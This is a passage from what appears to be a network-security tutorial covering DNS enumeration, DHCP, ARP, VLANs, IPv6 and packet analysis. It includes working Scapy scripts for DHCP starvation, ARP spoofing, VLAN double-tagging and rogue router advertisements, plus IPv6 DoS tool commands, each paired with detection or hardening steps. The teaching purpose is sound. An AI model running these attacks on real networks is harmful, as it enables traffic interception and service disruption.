attempt_zone_transfer(self):\n        print(f\"\\nAttempting zone transfer for {self.domain}\")\n        \n        try:\n            # Get NS records\n            ns_records = self.query_record('NS')\n            \n            for ns in ns_records:\n                ns = str(ns).rstrip('.')\n                print(f\"Trying nameserver: {ns}\")\n                \n                try:\n                    zone = dns.zone.from_xfr(dns.query.xfr(ns, self.domain))\n                    if zone:\n                        print(f\"Zone transfer successful from {ns}!\")\n                        for name, node in zone.nodes.items():\n                            rdataset = node.rdatasets[0]\n                            print(f\"  {name} -&gt; {rdataset}\")\n                except Exception as e:\n                    print(f\"  Failed: {e}\")\n                    \n        except Exception as e:\n            print(f\"Zone transfer failed: {e}\")\n    \n    def reverse_lookup(self, subnet):\n        \"\"\"Reverse DNS lookup for subnet\"\"\"\n        print(f\"\\nReverse lookup for {subnet}\")\n        \n        from ipaddress import ip_network\n        \n        try:\n            network = ip_network(subnet)\n            for ip in network.hosts():\n                try:\n                    rev = dns.reversename.from_address(str(ip))\n                    answers = self.resolver.resolve(rev, 'PTR')\n                    print(f\"{ip} -&gt; {answers[0]}\")\n                except:\n                    pass\n        except Exception as e:\n            print(f\"Error: {e}\")\n\nif __name__ == \"__main__\":\n    if len(sys.argv) &lt; 2:\n        print(\"Usage: dns_enum.py  [wordlist]\")\n        sys.exit(1)\n    \n    domain = sys.argv[1]\n    dns_enum = DNSEnumerator(domain)\n    \n    # Basic enumeration\n    dns_enum.enumerate_records()\n    \n    # Zone transfer attempt\n    dns_enum.attempt_zone_transfer()\n    \n    # Subdomain brute force\n    if len(sys.argv) &gt; 2:\n        dns_enum.brute_force_subdomains(sys.argv[2])\n```\n\n### 7.4 DHCP\n\nDynamic Host Configuration Protocol automates network configuration for hosts.\n\n#### 7.4.1 DHCP Operation\n\n**DORA Process**:\n1. **D**iscover (client broadcast): \"I need an IP\"\n2. **O**ffer (server): \"Here's an IP you can use\"\n3. **R**equest (client): \"I'll take that IP\"\n4. **A**ck (server): \"Confirmed, here are the details\"\n\n**DHCP Packet Structure**:\n\n```\n 0                   1                   2                   3\n 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|     op (1)    |    htype (1)   |    hlen (1)    |    hops (1)  |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|                            xid (4)                             |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|           secs (2)             |           flags (2)           |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|                          ciaddr (4)                            |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|                          yiaddr (4)                            |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|                          siaddr (4)                            |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|                          giaddr (4)                            |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|                          chaddr (16)                           |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|                          sname (64)                            |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|                          file (128)                            |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|                          options (variable)                    |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n```\n\n**DHCP Options**:\n- 1: Subnet mask\n- 3: Router (default gateway)\n- 6: DNS servers\n- 15: Domain name\n- 51: IP address lease time\n- 53: DHCP message type\n- 54: Server identifier\n- 55: Parameter request list\n- 255: End\n\n#### 7.4.2 DHCP Server Configuration\n\n**ISC DHCP Server**:\n\n```bash\n# Install DHCP server\napt install isc-dhcp-server\n\n# Configure /etc/dhcp/dhcpd.conf\ncat &gt; /etc/dhcp/dhcpd.conf &lt;&lt; EOF\n# Global options\noption domain-name \"example.com\";\noption domain-name-servers 8.8.8.8, 8.8.4.4;\ndefault-lease-time 600;\nmax-lease-time 7200;\nauthoritative;\n\n# Subnet configuration\nsubnet 192.168.1.0 netmask 255.255.255.0 {\n    range 192.168.1.100 192.168.1.200;\n    option routers 192.168.1.1;\n    option broadcast-address 192.168.1.255;\n}\n\n# Static lease for specific host\nhost printer {\n    hardware ethernet 00:11:22:33:44:55;\n    fixed-address 192.168.1.50;\n    option host-name \"office-printer\";\n}\nEOF\n\n# Specify interface\necho 'INTERFACESv4=\"eth0\"' &gt;&gt; /etc/default/isc-dhcp-server\n\n# Start service\nsystemctl enable isc-dhcp-server\nsystemctl start isc-dhcp-server\n```\n\n**dnsmasq (Lightweight DHCP/DNS)**:\n\n```bash\n# Install dnsmasq\napt install dnsmasq\n\n# Configure /etc/dnsmasq.conf\ncat &gt;&gt; /etc/dnsmasq.conf &lt;&lt; EOF\n# DHCP range\ndhcp-range=192.168.1.100,192.168.1.200,12h\n\n# Gateway\ndhcp-option=3,192.168.1.1\n\n# DNS servers\ndhcp-option=6,8.8.8.8,8.8.4.4\n\n# Static leases\ndhcp-host=00:11:22:33:44:55,printer,192.168.1.50\n\n# Domain\ndomain=example.com\n\n# Logging\nlog-dhcp\nEOF\n\nsystemctl enable dnsmasq\nsystemctl start dnsmasq\n```\n\n#### 7.4.3 DHCP Client\n\n**DHCP Client Tools**:\n\n```bash\n# Release and renew\ndhclient -r eth0  # Release\ndhclient eth0     # Renew\n\n# Using dhcpcd\napt install dhcpcd5\ndhcpcd eth0\n\n# Using NetworkManager\nnmcli device reapply eth0\nnmcli device connect eth0\n\n# Manual DHCP request\ndhcp-lease-list  # View leases\n```\n\n#### 7.4.4 DHCP Attacks and Security\n\n**DHCP Starvation Attack**:\n\n```python\n#!/usr/bin/env python3\n# dhcp_starvation.py\n# EDUCATIONAL ONLY - Do not use without permission\n\nfrom scapy.all import *\nfrom random import randint\nimport time\n\ndef random_mac():\n    return RandMAC()\n\ndef dhcp_starvation(iface, count=100):\n    print(f\"Starting DHCP starvation on {iface}\")\n    \n    for i in range(count):\n        # Create DHCP discover packet\n        mac = random_mac()\n        \n        dhcp_discover = (\n            Ether(src=mac, dst=\"ff:ff:ff:ff:ff:ff\") /\n            IP(src=\"0.0.0.0\", dst=\"255.255.255.255\") /\n            UDP(sport=68, dport=67) /\n            BOOTP(chaddr=[mac.replace(':', '')], xid=randint(1, 2**32)) /\n            DHCP(options=[(\"message-type\", \"discover\"), \"end\"])\n        )\n        \n        sendp(dhcp_discover, iface=iface, verbose=0)\n        \n        if i % 10 == 0:\n            print(f\"Sent {i} DHCP discovers\")\n        time.sleep(0.1)\n    \n    print(\"DHCP starvation completed\")\n\n# Protection: Enable DHCP snooping on switches\n```\n\n**Rogue DHCP Server Detection**:\n\n```bash\n# Detect unauthorized DHCP servers\ndhcpdump -i eth0\ntcpdump -i eth0 -v -s 1500 'port 67 or port 68'\n\n# Using nmap\nnmap --script broadcast-dhcp-discover\n\n# Using dhcping\ndhcping -s 192.168.1.1\n```\n\n**DHCP Snooping Configuration (Cisco)**:\n\n```cisco\n! Enable DHCP snooping\nip dhcp snooping\nip dhcp snooping vlan 1-100\n\n! Trust only specific ports\ninterface GigabitEthernet0/1\n ip dhcp snooping trust\n\n! Rate limit DHCP packets\ninterface GigabitEthernet0/2\n ip dhcp snooping limit rate 10\n```\n\n### 7.5 ARP Mechanics\n\nAddress Resolution Protocol maps IP addresses to MAC addresses on local networks.\n\n#### 7.5.1 ARP Operation\n\n**ARP Request/Reply**:\n\n```\nHost A (192.168.1.10) wants to send to Host B (192.168.1.20):\n\n1. Host A checks ARP cache - no entry for 192.168.1.20\n2. Host A broadcasts ARP request:\n   \"Who has 192.168.1.20? Tell 192.168.1.10 (MAC: AA:AA:AA:AA:AA:AA)\"\n3. Host B sees request, responds unicast:\n   \"192.168.1.20 is at BB:BB:BB:BB:BB:BB\"\n4. Host A updates ARP cache, sends packet\n```\n\n**ARP Packet Structure**:\n\n```\n 0                   1                   2                   3\n 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|        Hardware Type (1)      |        Protocol Type (0x0800) |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|  HW Len (6)   |  Prot Len (4) |            Operation          |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|                      Sender Hardware Address                   |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|                      Sender Protocol Address                   |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|                    Target Hardware Address                      |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n|                    Target Protocol Address                      |\n+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n```\n\n**ARP Cache Management**:\n\n```bash\n# View ARP cache\narp -n\nip neigh show\n\n# Add static ARP entry\narp -s 192.168.1.50 00:11:22:33:44:55\nip neigh add 192.168.1.50 lladdr 00:11:22:33:44:55 nud permanent\n\n# Delete ARP entry\narp -d 192.168.1.50\nip neigh del 192.168.1.50 dev eth0\n\n# Flush ARP cache\nip neigh flush all\n```\n\n#### 7.5.2 ARP Spoofing/Poisoning\n\n**ARP Spoofing Attack**:\n\n```python\n#!/usr/bin/env python3\n# arp_spoof.py\n# EDUCATIONAL ONLY - For authorized testing only\n\nfrom scapy.all import *\nimport time\nimport sys\n\ndef get_mac(ip, iface):\n    \"\"\"Get MAC address for IP\"\"\"\n    arp_request = ARP(pdst=ip)\n    broadcast = Ether(dst=\"ff:ff:ff:ff:ff:ff\")\n    arp_request_broadcast = broadcast/arp_request\n    answered_list = srp(arp_request_broadcast, timeout=1, iface=iface, verbose=False)[0]\n    \n    if answered_list:\n        return answered_list[0][1].hwsrc\n    return None\n\ndef arp_spoof(target_ip, spoof_ip, iface):\n    \"\"\"Send ARP spoofing packets\"\"\"\n    target_mac = get_mac(target_ip, iface)\n    if not target_mac:\n        print(f\"Could not get MAC for {target_ip}\")\n        return\n    \n    packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)\n    send(packet, verbose=False)\n    print(f\"Sent spoofed ARP to {target_ip}: {spoof_ip} is at our MAC\")\n\ndef restore(target_ip, source_ip, iface):\n    \"\"\"Restore ARP tables\"\"\"\n    target_mac = get_mac(target_ip, iface)\n    source_mac = get_mac(source_ip, iface)\n    \n    if target_mac and source_mac:\n        packet = ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=source_ip, hwsrc=source_mac)\n        send(packet, count=4, verbose=False)\n        print(\"ARP tables restored\")\n\nif __name__ == \"__main__\":\n    if len(sys.argv) != 4:\n        print(\"Usage: arp_spoof.py   \")\n        sys.exit(1)\n    \n    target = sys.argv[1]\n    gateway = sys.argv[2]\n    iface = sys.argv[3]\n    \n    # Enable IP forwarding\n    with open('/proc/sys/net/ipv4/ip_forward', 'w') as f:\n        f.write('1')\n    \n    try:\n        print(f\"Starting ARP spoof: {target} &lt;-&gt; {gateway}\")\n        while True:\n            arp_spoof(target, gateway, iface)\n            arp_spoof(gateway, target, iface)\n            time.sleep(2)\n    except KeyboardInterrupt:\n        print(\"\\nRestoring ARP tables...\")\n        restore(target, gateway, iface)\n        restore(gateway, target, iface)\n```\n\n**ARP Spoof Detection**:\n\n```bash\n# Monitor for ARP anomalies\narpwatch -i eth0\ntcpdump -i eth0 arp and arp[6:2] != 2  # Show ARP replies\n\n# Using arp-scan for duplicate MACs\narp-scan --local\n\n# Python detection script\ncat &gt; arp_detect.py &lt;&lt; EOF\n#!/usr/bin/env python3\nfrom scapy.all import *\nimport time\n\narp_table = {}\n\ndef arp_monitor(pkt):\n    if ARP in pkt and pkt[ARP].op == 2:  # ARP reply\n        ip = pkt[ARP].psrc\n        mac = pkt[ARP].hwsrc\n        \n        if ip in arp_table:\n            if arp_table[ip] != mac:\n                print(f\"[!] ARP spoofing detected!\")\n                print(f\"    IP: {ip}\")\n                print(f\"    Old MAC: {arp_table[ip]}\")\n                print(f\"    New MAC: {mac}\")\n        else:\n            arp_table[ip] = mac\n            print(f\"[+] Added {ip} -&gt; {mac}\")\n\nprint(\"Monitoring for ARP spoofing...\")\nsniff(prn=arp_monitor, filter=\"arp\", store=0)\nEOF\n\nchmod +x arp_detect.py\n./arp_detect.py\n```\n\n#### 7.5.3 ARP Security\n\n**Static ARP Entries**:\n\n```bash\n# Add static ARP for critical hosts\nip neigh add 192.168.1.1 lladdr 00:11:22:33:44:55 nud permanent dev eth0\necho \"192.168.1.1 00:11:22:33:44:55\" &gt;&gt; /etc/ethers\n\n# Make permanent\ncat &gt;&gt; /etc/network/interfaces &lt;&lt; EOF\npost-up ip neigh add 192.168.1.1 lladdr 00:11:22:33:44:55 nud permanent dev eth0\nEOF\n```\n\n**ARP Filtering with ebtables**:\n\n```bash\n# Prevent ARP spoofing with ebtables\napt install ebtables\n\n# Allow only specific MAC-IP pairs\nebtables -A FORWARD -p ARP --arp-ip-src 192.168.1.10 --arp-mac-src AA:BB:CC:DD:EE:FF -j ACCEPT\nebtables -A FORWARD -p ARP -j DROP\n\n# Rate limit ARP\nebtables -A FORWARD -p ARP -m limit --limit 1/second -j ACCEPT\nebtables -A FORWARD -p ARP -j DROP\n```\n\n### 7.6 VLANs\n\nVirtual LANs segment networks at layer 2 for security and performance.\n\n#### 7.6.1 VLAN Concepts\n\n**802.1Q VLAN Tag**:\n\n```\nStandard Ethernet Frame:\n| Dest MAC | Src MAC | Type | Data | FCS |\n\n802.1Q Tagged Frame:\n| Dest MAC | Src MAC | TPID | TCI | Type | Data | FCS |\n\nTPID: Tag Protocol ID (0x8100)\nTCI: Tag Control Information\n  - Priority (3 bits)\n  - CFI (1 bit) - Canonical Format Indicator\n  - VLAN ID (12 bits) - 1-4094\n```\n\n**VLAN Types**:\n- **Access port**: Carries traffic for single VLAN\n- **Trunk port**: Carries multiple VLANs (tagged)\n- **Native VLAN**: Untagged traffic on trunk\n\n#### 7.6.2 Linux VLAN Configuration\n\n**Creating VLAN Interfaces**:\n\n```bash\n# Install VLAN tools\napt install vlan\nmodprobe 8021q\n\n# Create VLAN interface\nip link add link eth0 name eth0.10 type vlan id 10\nip link set eth0.10 up\nip addr add 192.168.10.100/24 dev eth0.10\n\n# Using vconfig (legacy)\nvconfig add eth0 20\nifconfig eth0.20 up\n\n# Permanent configuration (Debian)\ncat &gt;&gt; /etc/network/interfaces &lt;&lt; EOF\nauto eth0.10\niface eth0.10 inet static\n    address 192.168.10.100\n    netmask 255.255.255.0\n    vlan-raw-device eth0\nEOF\n```\n\n**VLAN Bridging**:\n\n```bash\n# Create bridge with VLANs\nip link add name br0 type bridge\nip link set dev eth0 master br0\nip link set dev eth0.10 master br0\nip link set dev eth0.20 master br0\n\n# VLAN filtering on bridge\nip link set br0 type bridge vlan_filtering 1\nbridge vlan add dev eth0 vid 10 pvid untagged\nbridge vlan add dev eth0 vid 20\nbridge vlan add dev eth0.10 vid 10\n```\n\n#### 7.6.3 VLAN Hopping Attacks\n\n**Double Tagging Attack**:\n\n```python\n#!/usr/bin/env python3\n# vlan_hopping.py\n# EDUCATIONAL ONLY\n\nfrom scapy.all import *\nimport sys\n\ndef double_tagged_packet(target_mac, src_mac, outer_vlan, inner_vlan, dst_ip):\n    \"\"\"Create double-tagged 802.1Q packet\"\"\"\n    \n    # Outer tag (visible to first switch)\n    outer_tag = Dot1Q(vlan=outer_vlan)\n    \n    # Inner tag (visible after removing outer tag)\n    inner_tag = Dot1Q(vlan=inner_vlan)\n    \n    packet = (\n        Ether(src=src_mac, dst=target_mac) /\n        outer_tag /\n        inner_tag /\n        IP(dst=dst_ip) /\n        ICMP()\n    )\n    \n    return packet\n\nif __name__ == \"__main__\":\n    if len(sys.argv) != 5:\n        print(\"Usage: vlan_hopping.py    \")\n        sys.exit(1)\n    \n    packet = double_tagged_packet(\n        sys.argv[1], sys.argv[2], \n        int(sys.argv[3]), int(sys.argv[4]),\n        \"192.168.1.100\"\n    )\n    \n    sendp(packet, iface=\"eth0\", count=1)\n    print(\"Double-tagged packet sent\")\n```\n\n**VLAN Trunking Protocol (VTP) Attacks**:\n\n```bash\n# VTP attacks (Cisco-specific)\n# - VTP domain spoofing\n# - VTP password cracking\n# - Revision number attacks\n\n# Protection:\n# - Disable VTP or use VTP version 3 with authentication\n# - Set VTP mode to transparent\n# - Use dedicated VLAN for trunk ports\n```\n\n**VLAN Security Best Practices**:\n\n```bash\n# Disable DTP (Dynamic Trunking Protocol) on Cisco\ninterface GigabitEthernet0/1\n switchport mode access\n switchport nonegotiate\n\n# Use dedicated native VLAN (not VLAN 1)\ninterface GigabitEthernet0/1\n switchport trunk native vlan 999\n\n# Prune unused VLANs on trunk\nswitchport trunk allowed vlan 10,20,30\n\n# Enable VLAN access maps\nvlan access-map block-arp 10\n match ip address 101\n action drop\n```\n\n### 7.7 IPv6\n\nIPv6 is the next generation Internet Protocol, with significant differences from IPv4.\n\n#### 7.7.1 IPv6 Addressing\n\n**IPv6 Address Format**:\n\n```\n2001:0db8:85a3:0000:0000:8a2e:0370:7334\n\nCompression rules:\n- Leading zeros can be omitted\n- One double colon (::) replaces consecutive zero blocks\n\n2001:db8:85a3::8a2e:370:7334\n```\n\n**IPv6 Address Types**:\n\n- **Global Unicast**: 2000::/3 (public internet)\n- **Unique Local**: fc00::/7 (private, like IPv4 RFC1918)\n- **Link-Local**: fe80::/10 (autoconfigured on each interface)\n- **Multicast**: ff00::/8\n- **Loopback**: ::1\n- **Unspecified**: ::\n- **IPv4-mapped**: ::ffff:192.168.1.1\n\n**IPv6 Address Configuration**:\n\n```bash\n# Show IPv6 addresses\nip -6 addr show\nifconfig\n\n# Add IPv6 address\nip -6 addr add 2001:db8::100/64 dev eth0\n\n# SLAAC (Stateless Autoconfiguration)\nsysctl -w net.ipv6.conf.eth0.accept_ra=2\nsysctl -w net.ipv6.conf.eth0.autoconf=1\n\n# DHCPv6\napt install dhcpcd5\ndhcpcd -6 eth0\n```\n\n#### 7.7.2 IPv6 Neighbor Discovery (NDP)\n\nNDP replaces ARP, ICMP Router Discovery, and ICMP Redirect in IPv6.\n\n**NDP Message Types**:\n- **Router Solicitation (RS)**: Hosts ask for routers\n- **Router Advertisement (RA)**: Routers advertise themselves\n- **Neighbor Solicitation (NS)**: Like ARP request\n- **Neighbor Advertisement (NA)**: Like ARP reply\n- **Redirect**: Better next-hop\n\n**NDP Operations**:\n\n```python\n#!/usr/bin/env python3\n# ipv6_ndp.py\n\nfrom scapy.all import *\nimport sys\n\ndef send_router_advertisement(iface, prefix=\"2001:db8::/64\"):\n    \"\"\"Send malicious RA (for testing)\"\"\"\n    \n    ra = (\n        IPv6(src=\"fe80::1\", dst=\"ff02::1\") /\n        ICMPv6ND_RA(routerlifetime=1800, reachabletime=0, retranstimer=0) /\n        ICMPv6NDOptPrefixInfo(prefix=prefix.split('/')[0], prefixlen=int(prefix.split('/')[1]), \n                             validlifetime=86400, preferredlifetime=14400, flags=0xC0) /\n        ICMPv6NDOptSrcLLAddr(lladdr=get_if_hwaddr(iface))\n    )\n    \n    send(ra, iface=iface)\n    print(f\"Sent router advertisement for {prefix}\")\n\ndef neighbor_solicitation(target_ip, iface):\n    \"\"\"Perform neighbor discovery\"\"\"\n    \n    # Get source MAC\n    src_mac = get_if_hwaddr(iface)\n    \n    # Create neighbor solicitation\n    ns = (\n        IPv6(src=get_if_addr6(iface), dst=target_ip) /\n        ICMPv6ND_NS(tgt=target_ip) /\n        ICMPv6NDOptSrcLLAddr(lladdr=src_mac)\n    )\n    \n    reply = sr1(ns, iface=iface, timeout=2)\n    if reply and ICMPv6ND_NA in reply:\n        mac = reply[ICMPv6NDOptDstLLAddr].lladdr\n        print(f\"{target_ip} is at {mac}\")\n        return mac\n    \n    return None\n\nif __name__ == \"__main__\":\n    if len(sys.argv) &lt; 2:\n        print(\"Usage: ipv6_ndp.py  [options]\")\n        sys.exit(1)\n    \n    if sys.argv[1] == \"ra\":\n        send_router_advertisement(sys.argv[2])\n    elif sys.argv[1] == \"ns\":\n        neighbor_solicitation(sys.argv[2], sys.argv[3])\n```\n\n**NDP Security**:\n\n```bash\n# Disable ICMP redirects\nsysctl -w net.ipv6.conf.all.accept_redirects=0\nsysctl -w net.ipv6.conf.all.secure_redirects=0\n\n# RA Guard (on switches)\nipv6 nd raguard\n\n# SEND (SEcure Neighbor Discovery)\n# Requires certificates, rarely implemented\n```\n\n#### 7.7.3 IPv6 Transition Mechanisms\n\n**Dual Stack**:\nBoth IPv4 and IPv6 running simultaneously\n\n```bash\n# Enable IPv6 forwarding\nsysctl -w net.ipv6.conf.all.forwarding=1\n\n# Check dual stack\nping -4 google.com\nping -6 google.com\n```\n\n**Tunneling**:\n\n```bash\n# 6to4 tunnel (automatic)\nip tunnel add tun6to4 mode sit remote any local 192.168.1.100 ttl 255\nip link set tun6to4 up\nip -6 addr add 2002:c0a8:164::1/16 dev tun6to4\nip -6 route add ::/0 dev tun6to4\n\n# Manual GRE tunnel\nip tunnel add gre1 mode gre remote 192.168.1.200 local 192.168.1.100\nip link set gre1 up\nip addr add 10.0.0.1/30 dev gre1\n```\n\n**NAT64/DNS64**:\n\n```bash\n# Install NAT64 gateway\napt install tayga\n\n# Configure /etc/tayga.conf\ncat &gt; /etc/tayga.conf &lt;&lt; EOF\ntun-device nat64\nipv4-addr 192.168.255.1\nprefix 64:ff9b::/96\ndynamic-pool 192.168.255.0/24\ndata-dir /var/db/tayga\nEOF\n```\n\n#### 7.7.4 IPv6 Security Testing\n\n**IPv6 Network Scanning**:\n\n```bash\n# Scan IPv6 network\nnmap -6 -sS 2001:db8::/120\n\n# Alive hosts detection\nalive6 eth0\n\n# Scan for open services\nscan6 -i eth0 -d 2001:db8::/64 -L\n```\n\n**IPv6 Attack Tools**:\n\n```bash\n# THC-IPv6 toolkit\napt install thc-ipv6\n\n# Available tools\nalive6           # Find alive hosts\ndos-new-ip6      # DoS by claiming new IPs\nfake_router6     # Fake router advertisements\nflood_router6    # Flood with RAs\nfragmentation6   # Fragmentation attacks\nkill_router6     # Kill IPv6 routers\nredir6           # Redirect traffic\nrsmurf6          # Smurf attack in IPv6\nsmurf6           # IPv6 smurf\nthcping6         # Ping with custom options\ntoobig6          # MTU issues\n\n# Example: Fake router advertisement\nfake_router6 -A 2001:db8::/64 eth0\n```\n\n**IPv6 Firewall with ip6tables**:\n\n```bash\n# Basic IPv6 firewall\nip6tables -P INPUT DROP\nip6tables -P FORWARD DROP\nip6tables -P OUTPUT ACCEPT\n\n# Allow ICMPv6 (required for NDP)\nip6tables -A INPUT -p icmpv6 --icmpv6-type destination-unreachable -j ACCEPT\nip6tables -A INPUT -p icmpv6 --icmpv6-type packet-too-big -j ACCEPT\nip6tables -A INPUT -p icmpv6 --icmpv6-type time-exceeded -j ACCEPT\nip6tables -A INPUT -p icmpv6 --icmpv6-type parameter-problem -j ACCEPT\nip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request -m limit --limit 1/sec -j ACCEPT\nip6tables -A INPUT -p icmpv6 --icmpv6-type neighbor-solicitation -j ACCEPT\nip6tables -A INPUT -p icmpv6 --icmpv6-type neighbor-advertisement -j ACCEPT\nip6tables -A INPUT -p icmpv6 --icmpv6-type router-solicitation -j ACCEPT\nip6tables -A INPUT -p icmpv6 --icmpv6-type router-advertisement -j ACCEPT\n\n# Allow established connections\nip6tables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT\n\n# Allow specific services\nip6tables -A INPUT -p tcp --dport 22 -j ACCEPT\nip6tables -A INPUT -p tcp --dport 80 -j ACCEPT\nip6tables -A INPUT -p tcp --dport 443 -j ACCEPT\n\n# Log drops\nip6tables -A INPUT -j LOG --log-prefix \"IPv6-DROP: \"\n```\n\n### 7.8 Packet Analysis Fundamentals\n\nPacket analysis is essential for network troubleshooting, security monitoring, and penetration testing.\n\n#### 7.8.1 Packet Capture Tools\n\n**tcpdump Fundamentals**:\n\n```bash\n# Basic capture\ntcpdump -i eth0\ntcpdump -i eth0 -c 100  # Capture 100 packets\n\n# Save to file\ntcpdump -i eth0 -w capture.pcap\ntcpdump -r capture.pcap  # Read file\n\n# Filter expressions\ntcpdump host 192.168.1.100\ntcpdump port 80\ntcpdump src 192.168.1.1 and dst port 443\ntcpdump 'tcp[13] &amp; 2 != 0'  # TCP SYN packets\n\n# Verbose output\ntcpdump -v\ntcpdump -vv\ntcpdump -vvv\n\n# Display packet contents\ntcpdump -X  # Hex and ASCII\ntcpdump -A  # ASCII only\n```\n\n**Wireshark/TShark**:\n\n```bash\n# Install\napt install wireshark tshark\n\n# Capture with tshark\ntshark -i eth0\ntshark -i eth0 -c 100 -w capture.pcap\n\n# Filters\ntshark -Y \"http.request.method == GET\"\ntshark -Y \"ip.src == 192.168.1.100\"\ntshark -Y \"tcp.port == 443\"\n\n# Statistics\ntshark -r capture.pcap -z io,stat,1\ntshark -r capture.pcap -z endpoints,ip\ntshark -r capture.pcap -z conv,tcp\n\n# Follow streams\ntshark -r capture.pcap -q -z follow,tcp,ascii,0\n```\n\n#### 7.8.2 Advanced Packet Analysis\n\n**Protocol Analysis with Scapy**:\n\n```python\n#!/usr/bin/env python3\n# packet_analyzer.py\n\nfrom scapy.all import *\nfrom collections import Counter\n\ndef analyze_pcap(pcap_file):\n    \"\"\"Analyze pcap file and generate statistics\"\"\"\n    \n    packets = rdpcap(pcap_file)\n    \n    print(f\"Total packets: {len(packets)}\")\n    \n    # Protocol distribution\n    protocols = Counter()\n    for pkt in packets:\n        if IP in pkt:\n            protocols['IPv4'] += 1\n        elif IPv6 in pkt:\n            protocols['IPv6'] += 1\n        elif ARP in pkt:\n            protocols['ARP'] += 1\n    \n    print(\"\\nProtocol Distribution:\")\n    for proto, count in protocols.most_common():\n        print(f\"  {proto}: {count} ({count/len(packets)*100:.1f}%)\")\n    \n    # TCP Flags analysis\n    tcp_flags = Counter()\n    for pkt in packets:\n        if TCP in pkt:\n            flags = pkt[TCP].flags\n            tcp_flags[flags] += 1\n    \n    print(\"\\nTCP Flags:\")\n    for flags, count in tcp_flags.most_common():\n        print(f\"  0x{flags:02x}: {count}\")\n    \n    # Top talkers\n    ips = Counter()\n    for pkt in packets:\n        if IP in pkt:\n            ips[pkt[IP].src] += 1\n            ips[pkt[IP].dst] += 1\n    \n    print(\"\\nTop Talkers:\")\n    for ip, count in ips.most_common(10):\n        print(f\"  {ip}: {count} packets\")\n    \n    # Extract HTTP requests\n    print(\"\\nHTTP Requests:\")\n    for pkt in packets:\n        if TCP in pkt and pkt[TCP].dport == 80 and Raw in pkt:\n            payload = pkt[Raw].load.decode('utf-8', errors='ignore')\n            if payload.startswith('GET') or payload.startswith('POST'):\n                print(f\"  {payload.split()[0]} {payload.split()[1]}\")\n\ndef extract_files(pcap_file):\n    \"\"\"Extract files from network traffic\"\"\"\n    \n    packets = rdpcap(pcap_file)\n    \n    # Extract HTTP objects\n    import re\n    \n    for i, pkt in enumerate(packets):\n        if TCP in pkt and Raw in pkt:\n            payload = bytes(pkt[Raw].load)\n            \n            # Look for common file signatures\n            signatures = {\n                b'\\x89PNG\\r\\n\\x1a\\n': 'png',\n                b'\\xff\\xd8\\xff': 'jpg',\n                b'PK\\x03\\x04': 'zip',\n                b'%PDF': 'pdf',\n            }\n            \n            for sig, ext in signatures.items():\n                if payload.startswith(sig):\n                    filename = f\"extracted_{i}.{ext}\"\n                    with open(filename, 'wb') as f:\n                        f.write(payload)\n                    print(f\"Extracted: {filename}\")\n                    break\n\ndef detect_anomalies(pcap_file):\n    \"\"\"Detect network anomalies\"\"\"\n    \n    packets = rdpcap(pcap_file)\n    \n    # SYN flood detection\n    syn_packets = {}\n    for pkt in packets:\n        if TCP in pkt and pkt[TCP].flags == 'S':\n            src = pkt[IP].src\n            syn_packets[src] = syn_packets.get(src, 0) + 1\n    \n    print(\"Potential SYN floods:\")\n    for src, count in syn_packets.items():\n        if count &gt; 100:\n            print(f\"  {src}: {count} SYN packets\")\n    \n    # Port scan detection\n    port_scans = {}\n    for pkt in packets:\n        if TCP in pkt:\n            src = pkt[IP].src\n            dst_port = pkt[TCP].dport\n            if src not in port_scans:\n                port_scans[src] = set()\n            port_scans[src].add(dst_port)\n    \n    print(\"\\nPotential port scans:\")\n    for src, ports in port_scans.items():\n        if len(ports) &gt; 20:\n            print(f\"  {src}: {len(ports)} ports\")\n\nif __name__ == \"__main__\":\n    if len(sys.argv) &lt; 2:\n        print(\"Usage: 